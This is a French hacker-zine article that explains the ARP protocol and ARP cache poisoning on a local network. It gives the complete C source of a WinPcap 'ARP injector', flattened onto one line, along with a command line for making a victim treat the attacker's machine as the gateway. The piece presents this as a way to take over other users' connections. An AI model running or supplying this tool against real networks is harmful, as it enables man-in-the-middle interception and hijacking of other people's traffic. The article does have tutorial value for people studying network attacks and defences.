..                     ,.-..                     ,..,                                   
      |  |                  .`     `.                  |    |                                  
      |''|                  |`'---'`|                  |`'-`|                                  
      |<<|                  | _____ |             _,,..|[}{]|.,,,                              
    _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',                          
  .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|                         
  | `''--''` |              |  |T|  |         |   ``'''------''``    |                         
  |  [ O8 ]  |              |  |A|  |         |     [ Mindkind ]     |                         
  `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'                          
    `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```                             
      |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|                                  
    ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,                                 
   |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |                                
   |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|                                
   |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |                                
   |`-,_         `````''''''---------'''''''`````      |[}{]|'|                                
   |    `''[                                          ]|[}{]| |                                
   |`-,_   [               Arp injector               ]|[}{]|'|                                
   |    `''[                                         ] |[}{]| |                                
    `-,_        [                              ]  _,,..|[}{]|.,,,                              
      |<;`'-.,,,_                             ,-``     |[}{]|    ``',                          
    ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|                         
   |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |                         
   |`-,_`''-.,,,_ `````'''''---------'''''````|     ] Ivanlef0u  [   |                         
   |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'                          
    `-,_`''-.,,,[                                ]``'''------''``                              
      |<`|'-.,,,_[                              ]_,,,.-|[}{]|                                  
      |<<|       `````''''''---------'''''''`````      |[}{]|                                  
      |<<|                  |]Aka: [|                  |[}{]|                                  
      |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__                      
      |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_       
  _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-., 
 ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
 |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
 |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
 |                     ````````''''''''''--------------''''''''''````````                     |
 |                                                                                            |





--------[ Intro

Hello World, et voici encore un article sorti tout droit de la tête de
l'horrible Ivanlef0u. Aujourd'hui le sujet du jour consiste a coder un tool
nous permettant de forger des packets ARP (Gruut??), le protocole ARP(Address
Resolution Protocol) permet tout simplement de convertir une adresse IP en
adresse mac. C'est un protocole qui se situe dans la couche 3 du modele OSI
(réseau) juste en dessous on a généralement de l'ethernet (couche liaison).

Voici un header arp:

Arp Header format

    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          Hardware type        |       Protocol type           |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |Hard addr len | Proto addr len |       Opcode                  |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Source hardware address                    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Source protocol address                    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Destination hardware address               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Destination protocol address               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


Hardware type: 16 bits
1 pour ethernet.
Protocol type: 16 bits
0x800 pour IP.
Hardware address length: 8 bits
Nous on met 6.
Protocol address length: 8 bits
4 pour nous.
Opcode: 16 bits
Cool un truk intéressant, cela détermine a quoi va servir notre packet:

|Value  | Description
+---------------------
|1      | Request    
+---------------------
|2      | Reply    
+---------------------
|3      | Request Reverse
+---------------------
.
.
Je ne mets pas le reste, ça n'a pas d'interet ici.

Alors, lorsque vous voulez vous connect a un pc de votre réseau, il faut que 
votre pc connaisse l'adresse mac de celui-ci. Voici une trame capturée par 
Ethereal, on peut y voir l'entête Ethernet et ARP. (Ethernet n'est que sur les 
14 premiers octets)


       [broadcoast mac ] [    mon mac    ] [arp]{[eth]
0000   ff ff ff ff ff ff 00 0f 66 c6 ae 09 08 06 00 01  ........f.......
       [ip ]      [req ] [     mon mac   ] [ mon ip  ]    
0010   08 00 06 04 00 01 00 0f 66 c6 ae 09 c0 a8 00 f2  ........f.......
       [ dest mac      ] [  son ip ]}
0020   00 00 00 00 00 00 c0 a8 00 5a                    .........Z

Voici le prob, mon Pc a l'IP 192.168.0.242 (c0 a8 00 f2) et la
mac 00:0F:66:C6:AE:09 (cisco pour ceux qui sont curieux) et il veut savoir la
mac du pc qui a comme ip 192.168.0.90 (c0 a8 00 5a) il envoie donc un ARP avec
l'opcode Request a tout le réseau FF:FF:FF:FF:FF:FF et le pc concerne doit
normalement lui réponde par un arp avec l'opcode reply contenant son mac.

En fait, ce que font les OS de nos jours, au lieu de demander a chaque fois
quelle est l'adresse mac du destinaire ils mettent en place un cache contenant
les mac des pc contactes. Sous windows pour voir cette table tapez dans un shell
arp -a


--------[ L'attaque des clones

+--------------+              
|    Robert    | -----------------------------------+
|  192.168.0.2 |                                    |
|     mac2     |                                    |
+------+-------+                                    |
       |                                            |
+------+-------+                               +-------------+
|    Albert    |-------------------------------| Passerelle  |---------WEB
|  192.168.0.3 |                               | 192.168.0.1 |
|     mac3     |                               |    mac1     |
+------+-------+                               +-------------+
       |                                            |
       |                                            |
+------+-------+                                    |
|    Hacker    |------------------------------------+
|  192.168.0.4 |
|     mac4     |
+--------------+



Voici le schéma, Robert, Albert et Hacker utilisent une passerelle pour se
connecter au web, un NAT tout classique comme il en existe partout. Ils ont donc
tous dans leur cache arp, la mac de la passerelle et celle de leurs confrères.
Ban imaginons que Albert et Robert croient que l'adresse mac de la passerelle
est celle de Hacker ! tout les packets qui  sont destines a la passerelle seront
déroute sur Hacker qui pourra s?il est malin créer un NAT pour reroute les
packets sur la passerelle et s?il veut injecter ds données dans celles-ci, bref
prendre le contrôle des connexions de Robert et Albert.


--------[ 1F Y0U C4N R34D 7H15 7H3N Y0U N33D 70 637 0U7

Alors déjà pour commencer j'ai whine. Aucun librairie documentée de windows ne
supporte le protocole ARP, la lib winsock ne peut pas aller plus bas que la
couche IP, comme nous avons aussi besoin de forger la couche 2, ethernet, je me
suis donc rabattu sur la WinPcap librairie de capture réseau notammentutilisee
parEthereal. Il nous faut donc le kit de développement de Pcap dispo ici:

http://www.winpcap.org/install/bin/WpdPack_3_1.zip

Ensuite comme j'utilise MsVC++ 6.0 il faut le configurer afin qu'il prenne
en compte cette new lib alors chez moi je fais:
Tools->Options->Directories
Dans Include files je met ou se trouve \WpdPack\Include et dans Librairie files
je mets ou est WpdPack\Lib
Apres je vais dans Project->Settings->C/C++ dans Preprocessor
définitions j'ajoute
WPCAP et dans Project Options je rajoute  /D "HAVE_REMOTE" (ça, je sais pas trop
pkoi d'ailleurs) Enfin je vais dans l'onglet Link et je fous wpcap.lib avec les
autres. Voila norm le compilo et le linker sont bons, reste plus qu'a coder. Si
ça ne marche pas chez vous, regardez le projet sur mon site.

La WinPcap n'est pas une librairie difficile, on va juste ouvrir une interface,
la bonne de préférence, nous mettre en mode PROMISCUOUS dessus, forger le packet
et l'envoyer, tout est documente en plus de façon claire alors je ne m'attarde
pas dessus.



#include <stdio.h> #include <pcap.h> #include <windows.h> u_char * str2hex(char * str); pcap_if_t *ifselector(int inum); void showhelp(); struct ETH_HDR{ u_char dst[6]; u_char src[6]; u_short type; }; struct ARP_HDR { u_short hard; u_short proto; u_char hard_len; u_char proto_len; u_short opcode; u_char hard_addr_src[6]; u_int proto_addr_src; u_char hard_addr_dst[6]; u_int proto_addr_dst; }; char errbuf[PCAP_ERRBUF_SIZE]; pcap_if_t *alldevs; u_char buff[7]=""; int main(int argc, char *argv[]) { struct ETH_HDR eth; struct ARP_HDR arp; if(argc==1) { showhelp(); return 0; } if (argv[1][0]=='l') { ifselector(0); return 0; } if(atoi(argv[1])<=0 || atoi(argv[1])>255 || inet_addr(argv[2])==INADDR_NONE || strlen(argv[3])!=17 || inet_addr(argv[4])==INADDR_NONE || strlen(argv[5])!=17 || atoi(argv[6])<0 || (u_short)atoi(argv[6])>4096 || atoi(argv[7])<0 || (u_int)atoi(argv[7])>65535) { showhelp(); return -1; } pcap_t *adhandle=NULL; if((adhandle= pcap_open(ifselector(atoi(argv[1]))->name, 65536, PCAP_OPENFLAG_PROMISCUOUS, 1000, NULL, errbuf )) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", ifselector(atoi(argv[1]))->name); pcap_freealldevs(alldevs); return -1; } memset(ð,0,sizeof(ETH_HDR)); eth.type=htons(0x0806); //Type code Arp memcpy(ð.dst,str2hex(argv[3]),6); memcpy(ð.src,str2hex(argv[5]),6); memset(&arp,0,sizeof(ARP_HDR)); arp.hard=htons(1); arp.proto=htons(0x800); arp.hard_len=6; arp.proto_len=4; arp.opcode=htons(atoi(argv[6])); memcpy(&arp.hard_addr_dst,str2hex(argv[3]),6); memcpy(&arp.hard_addr_src,str2hex(argv[5]),6); arp.proto_addr_src=inet_addr(argv[4]); arp.proto_addr_dst=inet_addr(argv[2]); u_char packet[sizeof(ETH_HDR)+sizeof(ARP_HDR)]; memset(packet,0,sizeof(packet)); memcpy(packet,ð,sizeof(ETH_HDR)); memcpy(packet+sizeof(ETH_HDR),&arp,sizeof(ARP_HDR)); for (int i=0;i<atoi(argv[7]);i++) { printf("packet: %d sent\n",i); if (pcap_sendpacket(adhandle,packet, sizeof(packet)) != 0) { fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(adhandle)); return -1; } } pcap_freealldevs(alldevs); return 0; } u_char * str2hex(char * str) { for (int i=0;i<17;i+=3) { char * ptr=str+i+1; //put1 de strtol buff[i/3]=(u_char)strtol(str+i,&ptr,16); } return (u_char *)buff; } void showhelp() { printf("Arp packet injector by Ivanlef0u\n"); printf("Usage is: arp_inj <interface number> <dst_ip> <dst_mac> <src_ip> <src_mac> <opcode> <number of packets>\n"); printf("Use arp_inj l to list interfaces\n"); printf("Exemple:arp_inj 3 192.168.0.255 ff:ff:ff:ff:ff 192.168.0.1 aa:bb:cc:dd:ee:ff 2 10 \n"); } pcap_if_t * ifselector(int inum) { pcap_if_t *d=NULL; int i=0; if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(-1); } for(d=alldevs; d; d=d->next) { i++; if(inum ==0) { printf("%d. %s",i, d->name); if (d->description) printf(" (%s)\n", d->description); else printf(" (No description available)\n"); } } if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); exit(-1); } if(inum>=1 && inum<=i) { for(d=alldevs, i=0; i< inum-1;d=d->next, i++); return d; } return NULL; }
Alors pour utiliser c'est pas trop dur arp_inj <interface number> <dst_ip> <dst_mac> <src_ip> <src_mac> <opcode> <number of packets> Donc si Hacker veut faire croire a Robert que la passerelle a son mac il fait: arp_inj <son_interface> 192.168.0.2 <mac2> 192.168.0.1 <mac4> 2 10 Ainsi Hacker va envoyer des packets arp avec l'opcode Reply faisant croire que 192.168.0.1 a la mac de Hacker, youplaboom! Ha vi pour voir vos interfaces faites: arp_inj l --------[ Conclusion Vous avez pu voir que forger des packets avec la WinPcap n'était pas si, difficile que ça et qu?on peut en faire un usage très pratique. Il existe de nombreuses techniques de détournement utilisant un forgeur de packet arp, voulant comprendre comment cela marchait j'ai décidé de coday un tool, même si il n'est pas super impressionnant il marche et c'est déjà bien :] Vous trouverez les codes et bin sur mon site dans zine/moi Ivanlef0u EMail:ivanlef0u119@yahoo.fr WebSite:
http://membres.lycos.fr/moi118118 --------[ Références http://www.security-labs.org/index.php3?page=606 http://www.madchat.org/reseau/arp/